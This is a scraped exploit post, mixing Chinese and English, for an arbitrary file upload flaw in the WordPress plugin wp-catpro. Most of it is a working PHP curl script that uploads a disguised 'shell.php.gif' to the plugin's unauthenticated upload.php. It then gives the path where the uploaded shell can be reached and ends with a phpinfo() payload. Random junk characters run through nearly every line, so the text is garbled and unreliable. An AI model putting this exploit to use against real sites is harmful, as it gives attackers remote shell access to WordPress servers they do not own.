Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
" N! N' v Q) L7 A/ N9 M#-----------------------------------------------------------------------
4 R( j i% j/ q5 C8 V( I4 O {7 x% R) r) E7 B7 A9 s
作者 => Zikou-16
- W, X7 U6 u7 X% R邮箱 => zikou16x@gmail.com" m6 k0 }4 t# ?& i7 T
测试系统 : Windows 7 , Backtrack 5r3
4 I" }0 d l+ I' \下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
, x. B/ i: ?% t####
. \. ]. v+ @; @. s) M 0 a5 @# m; K5 u" B
#=> Exploit 信息:
5 Z A$ w; c' B: w2 |------------------! K9 u+ C9 J5 l; F- r, j
# 攻击者可以上传 file/shell.php.gif
+ U; K! e. P+ ]4 _+ n: {2 q# ("jpg", "gif", "png") // Allowed file extensions# ~" k$ s- y& A- d/ N( P& r
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
7 p& l, i% n- f0 {( B# \( y3 _# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)+ \* o% j( s3 D. J2 a/ f
------------------+ @! X# v f6 Z0 B
7 x$ U% l9 l& ~- K' O; k#=> Exploit
! w P6 G- z# M1 `$ @-----------1 N+ ^* t3 \' v! Z" g" f* e
<?php, X7 c" P) X8 v$ O
6 `8 A8 N5 b7 F) @6 W0 f
$uploadfile="zik.php.gif";
{: `; f6 a7 x9 w& N; f$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");0 B# r/ z3 t2 S) a+ C; m, t
curl_setopt($ch, CURLOPT_POST, true);
/ }$ o$ x6 [% d3 s( kcurl_setopt($ch, CURLOPT_POSTFIELDS,9 A* i3 s0 `8 A- r) D- {4 J
array('Filedata'=>"@$uploadfile",
5 U: C! K$ ]8 o8 F: v'folder'=>'/wp-content/uploads/catpro/'));+ c; h1 K, A5 E
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);5 R: c5 N' ?" [' @6 v. B
$postResult = curl_exec($ch);
+ a& u1 j7 c H, h5 }: F6 Ycurl_close($ch);/ e) n3 r+ g, W! f' `8 Z
+ V/ D9 j% u L: ]! o# k+ k4 w
print "$postResult";+ G8 r2 n, a& r% }0 }% \" F8 C% t
2 G+ o( z+ I' ^" q* t
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
/ t# `" y3 r$ R+ Z! K; g ?>
4 |; |& |. O- H$ G; P2 N1 P$ q<?php
# \( H5 [3 `+ O% A0 L# Y. p, e+ mphpinfo();7 t7 z# ~3 _7 Z" L2 R! q4 G/ R$ m. |
?> |